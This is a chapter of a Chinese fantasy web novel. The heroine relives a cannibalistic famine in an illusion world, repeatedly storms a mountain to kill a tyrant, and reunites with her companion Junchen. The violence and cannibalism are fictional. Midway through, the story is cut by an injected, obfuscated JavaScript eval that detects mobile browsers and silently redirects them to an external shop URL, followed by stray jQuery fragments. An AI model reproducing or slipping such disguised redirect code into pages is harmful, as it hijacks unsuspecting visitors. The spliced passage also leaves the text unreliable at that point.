头痛欲裂。
霜离睁开眼,白晃晃的太阳下,飘着一只风筝。
一只人皮风筝。
女人的长发胡乱飘着,惨白的脸,肿胀的皮,折断的手脚,组成了风筝。
“嗖嗖——!”
几支利箭射去,扎在皮上,只有一支穿透了心口。
风筝摇摇晃晃飘下,落地瞬间,女人脖颈应声断裂,头颅轱辘滚来,停在霜离脚边,只剩血窟窿的双眼无声注视着她。
心跳硬生生漏了一拍。
远处,喝彩声接连不断,马蹄声由远及近,霜离缓过神来,慌忙躲到身后的树林里。
说是树林,也就是一堆枯草和光秃秃的树干。树皮都掉光了,枝干上还残留着指甲划过的痕迹,似乎被人扒过。
一群身着锦衣华服的公子背着弓策马而来,为首的捡起风筝,高举过头:“兄弟们,今儿加餐!”
“诶,这采珠女的脑袋呢?小六,你去找!”
“要那脑袋作甚?她在海里泡了几个时辰就受不了了,那肉能好吃到哪儿去?”
“总归是块肉!王公子城里来的吧?不知道近日南海的鱼虾都没了?”
“好了好了,让人速去找来!哥几个先回府喝茶!”
公子们高歌着策马远去,只留下一个衣不蔽体的小男孩,眼看他就要发现头颅,霜离冲出草堆,一把捂住他的口鼻,拖进树林。
“回答我,这是哪里?今夕是何年?”
小六挣扎着想要呼救,却被霜离掐住脖子,他瞬间安静了下来,怯怯道:“大盛国南海苍梧,盛平元年。”
大盛国?盛平?电光石火间,霜离想起来了:“当今帝王是梁映周?”
小六惊叫道:“你,你直呼国君名字?要杀头的!”
霜离捂住他的嘴:“再叫下去,连你一起杀!”
小六支吾道:“也,也行,我,我三天后就要被杀了,早晚的事。”
霜离疑惑:“为何?”
“主人叫我小六,他买来我六天后,我就要被吃了。”
“吃?……想逃吗,跟我走。”
小六一动不动:“我,我家小妹排在我后头,我答应过小妹,要跟她一起上桌,一起被吃掉。”
霜离眉头越皱越紧:“我可以带你们一起跑。”
“可是跑去哪儿啊?全天下的粮食都在皇宫里,跑了也只能饿死,还不如死前吃点好的,公子府上至少有神仙土,管饱呢!”
小六挣脱开,捡起头颅就跑。
霜离怔怔地垂下手。
难怪盛平年间各地起义不断,这样的世道,迟早该改天换日。
耳畔嗡鸣渐渐退去,霜离隐约听见一丝哀叹,她循着声音的来源穿过树林,一路上连只虫子的影子都没看见。
远处干裂的土路上,似有什么动物在爬行,霜离小心靠近,那人突然仰起头,饿得皮包骨头的脸上,空洞的双眼直愣愣看向她。
但他嘴里,却在咀嚼着什么。
他一口口咽下,才道:“那山里头有神仙,找他,有吃的。”
霜离循着他说的方向看去,蜿蜒的山路上,几个爬行的人哀叹连连。
她忽地想起什么,摩挲指节寻找储物戒,储物戒里还有药草,能吃。
可她手上什么都没有。
她低头一看,自己瘦弱的孩童身体上,也只穿了件破烂布衣,光着的脚上满是尘土,手指干得皲裂,一丝灵力都使不出。现在的她,只是一个普通小孩。
她向深山走去,每走一步,日光似乎都要黯一点。
绕过一小座荒草丛生的龙神庙后,太阳彻底西沉,辽阔的夜空中泛起阵阵血色,前方山石上似有人影,霜离一步步走去,月亮也一点点升了起来。
三分之一个天空大的血月缓缓爬上山丘,如一张血盆大口,要将苍梧整片山海都吞食干净。火海似的月光淹没山林,枯枝烂叶烧成灰烬,热浪滚滚,山石上的人影越发模糊,可霜离却不觉得热,穿过火海,依旧毫发无损。
山石上坐着个衣衫褴褛、面容模糊的少年,他的双臂双腿好似受了伤,布满血窟窿。
听见霜离走来,他头也不抬:“你想要什么食物?”
“你这有什么?”
“只有肉。”
“那还问什……”
他手起刀落,就在刀刃要割到手臂的刹那,一块碎石子飞来,打落了小刀。
“愚蠢。”霜离眉头紧皱,“刀落在自己身上,只能救几个人,想要救天下人,就该让刀落在应死之人身上。”
少年终于抬起头:“天道有常,他违逆天道,自有人弑他,我若介入因果,只会毁坏此方世界的秩序。”
“因果吗?罢了。”霜离捡起他掉落的小刀,转身就走。
她看不下去了,她要去试试。
反正身处幻境,成败与否,都不会影响既定的历史结局。
只是心里有个声音在告诉她,她不去试一试,一定会后悔。见过那么多无辜之人的痛苦,她无法将自己置之度外。
身后忽传来少年的声音:“带我一个。”
霜离转着小刀,头也不回,身后的脚步声却不近不远,一路相随。
沿着盘山小道一直走,空中日月轮转,火海不熄,人却渐渐多了起来,他们穿着烂得不蔽体的布衣,手里拿着碎石或树枝,毫不整齐地喊着:“打倒梁贼,重见青天!打倒梁贼,重见青天!”
疾风吹过,火海掀起滔天巨浪,一口就吞噬掉数百人!然而其余的人像是毫无知觉,依旧举手高呼:“打倒梁贼,重见青天!”
霜离紧跟在他们身后,不知走了多少个日月,赤裸的脚底磨出了血泡,结痂后又被磨烂,反反复复,痛得麻木。她身前无数人早已被火海吞得渣都不剩,但身后随即又有一波接一波人涌上来,他们永远高喊着口号,永远不怕死似的冲入火海。
他们没有一个留下名字,但火海吞没他们的瞬间,霜离隐约看见了一些记忆。
他们中,有的是放牛的小孩,牛被偷了,家被烧了,田地也被抢了,爹娘上吊寻死,死后尸体又被拖到集市当肉卖。
有的是初为人母,还穿着新嫁衣的女子,孩子刚落地就被送走换肉,换来的却是邻家新生的婴孩。
还有的是书生,寒窗苦读数年,却因真正有用的书都被世家大族垄断,他们撞破脑袋也考不进官场,又毫无别的技能傍身,险些饿死街头。
又一个血月,就在她们将要登顶时,山顶上骤然亮起一道金光,一个模糊的人影站在金光之下,睥睨众生。
人们高呼着他的恶名冲了上去,转瞬即被金光吞噬。
霜离也毫不犹豫地冲去,但她还没来得及举起刀,身体就如枯叶般碎成尘灰。
命如草芥,不过如此。
再睁开眼,面前又出现了那座荒草丛生的龙神庙。
霜离支起身,又重重摔向地面,全身骨骼像是被打碎后重新拼装了一遍,痛得她头晕脑胀,几乎分不清天地。
空中日月被从中斩开,裂出一双三分之二个天空大的巨眼,日为白瞳,月为红瞳,双瞳中怒火灼烧,将天幕都烧成炭黑色,火焰又流向地面,流向千山万壑,滚滚波涛铺天盖地,眨眼间,天地只余一片炼狱似的火海。
可火海中,仍有人影。
山石上,少年似乎长高了一些,面容却依旧模糊。
霜离穿过烈火,朝他走去:“你为什么一直坐在这里?”
少年道:“我在等一个人。等到星宿陨落,长眠陵寝,金乌的绒羽扫开高台上的积雪,她应该就会来了。”
“干坐着等多没意思,走吧,去找她。”
霜离头也不回地走上同一条山路,身后,果然又传来少年紧紧跟随的脚步声。
“打倒梁贼,重见青天!”
“打倒梁贼,重见青天!”
这一回的人潮里,意外多了些仙门和魔教弟子的身影。
他们并肩而行,嘴上却吵个不停。
“我们能有多少灵力?有本事你跟那梁贼背后的九霄抢去啊!”
“他们的不就是你们的?你们全仙门都在抢,推到他一个九霄身上算什么?”
“不管了,先打倒他们,我们再慢慢算账!”
“成!”
霜离捡起他们掉落的长弓,紧跟上去。
日月一睁一阖,朝暮更替,熊熊火海依旧炙烤着大地,高处不断有山石滚落,轰鸣声响彻天际。
脚下,大地似在呜咽,狰狞的裂缝纵横交错,爬满山坡,眨眼间山崩地裂,山顶骤然亮起金光,将山体生生割成两半,深渊般的地缝大口大口吞噬人潮,像只不知餍足的凶兽。
“该死!那是九霄的金鳞聚顶阵!”
“那要怎么破?怎么打不破啊!啊啊啊!”
四周的人瞬间消失了大半,哀呼声震耳欲聋,霜离死死抓着山石,才不让自己掉下去。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17670138|204920||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
眼前凭空出现了一堆悬浮的石块,如直通山顶的长阶,她鼓足力气跳了上去,石块却瞬间裂开,她眼疾脚快跳向另一个石块,一路狂奔。
山顶的金光太炙热了,很快就将石块烤化,就在她飞奔至下一个石块的瞬间,阵阵热浪袭来,石块瞬间蒸发成灰,她只觉脚下一空,坠向深渊。
“当心!”
一只手死死抓住了她。
霜离抬起头,原来是一直跟随她的少年。
少年将她拉上一块山石,这儿离山顶太近了,她几乎能看清山顶上那个金光笼罩的人。脚下石块就快融化,四周却再没有别的落脚点。
霜离不甘心地取下背上的长弓:“你有箭吗?”
少年环顾四周,却连一根树枝都没有发现,再回过头时,他惊呼道:“你不要命了?!”
“这么多人都死了,我死,不足惜。”
只见她反手割开后背,连皮带肉抽出血淋淋的脊骨,朝山顶拉开满弓。
“嗖——!”
骨箭破空而去,只余一道鲜红残影,山顶上,金光铸成的屏障“咔嚓”裂开,碎落的光斑砸穿山脊,翻滚向火海深渊。
屏障碎裂的同时,骨箭也坠向地面,落在那人脚下,转瞬被碾成渣子。
“我这还有!”
少年递来他鲜血淋漓的脊骨,旋即耗尽了所有力气,阖眼一笑,倒了下去。
那样温和又释然的笑,仿佛在说“此间事了,不如归去”,太熟悉了,以至于霜离脱口而出:
“君尘!”
可深渊之下,已无人能回应她。
“笨蛋。”
霜离苦笑一声,撑起摇摇欲坠的身体,再度搭弦开弓。
脚下却忽地一空。
石块彻底融化,坠向深渊的刹那,骨箭射了出去,山顶金光顿时一黯。
但她什么都看不见了。
再睁开眼,迎接她的依旧是龙神庙。
全身骨骼血肉像是被砸成泥胎重塑了一遍,痛得她几乎站不起来。
小庙里,庄严肃立的龙神像面容模糊,霜离盯了许久,一把将神像捞了出来。
她攥起拳头,忽觉掌心灵力流转:这回的身体居然有灵力了?
“手下留情!!”
拳头将要砸到神像时,一缕残魂飘了出来。
“原来是你在作怪,”霜离打量着他头上的龙角,眉头一挑,“你反反复复复活我,是有事求我?”
“求你?”残魂不悦,“你可知,闯入这幻境者死的死伤的伤,我都没救过,我是见你不受火海所伤,才好奇救你,你不谢我,反说我求你?哼……我还真有事求你,做个交易?”
“何事?”
“你既要去山顶,替我将此物带上去,杀了那梁贼后,放到该放的地方,我就放你安稳离开这幻境,划算吧?”
残魂取下脖子上的项链,链条上系着一块通体圆润的血色玛瑙,霜离收了起来,这才发现储物戒也回来了。
这具身体,似乎就是她自己的。
残魂嘱咐道:“但你切记,必须护好此物,路上任何人想抢想要都不能给,否则,你们再死一次,就没人能救了。”
“明白了。”
霜离摆摆手,再次走入漫山火海。
山石上,少年又长高了许多。
霜离打量着他模糊的面容:“你怎么还在这里?”
他答道:“我在等一个人。等到月落山丘,仙鹤南飞,她会追随鹤群的影子远走,再不会回头。”
“她既要走,你为何还要等?”
“我想再看她一眼,远远看上一眼,就够了。”
“你说的她,”霜离凑近了些,“是你记忆里第一次见到的她,还是如今,站在你面前的她?”
日月骤然轮转,天地变幻万千,海枯石烂,朽木抽新,荒草疯长,焚烧不歇的火海中,眼前人的模样渐渐清晰。
君尘淡然一笑:“都是你。”
“霜离,你就是你,我所爱慕的、敬仰的、愿意付出一生去追随的人,只有你。无论宿命轮转多少次,无论你变成什么样,我都会被你的灵魂吸引,一次又一次,从人群中认出你,然后,拼尽全力与你并肩。”
一只手轻撩开他额间碎发,眼神交接的刹那,在霜离舒展的眉目间,他的身影如一尾身陷火海的游鱼,顺着她眼底的秋月平湖,游过世间无数欲海,憾海,苦海。
游向她翻涌的心海。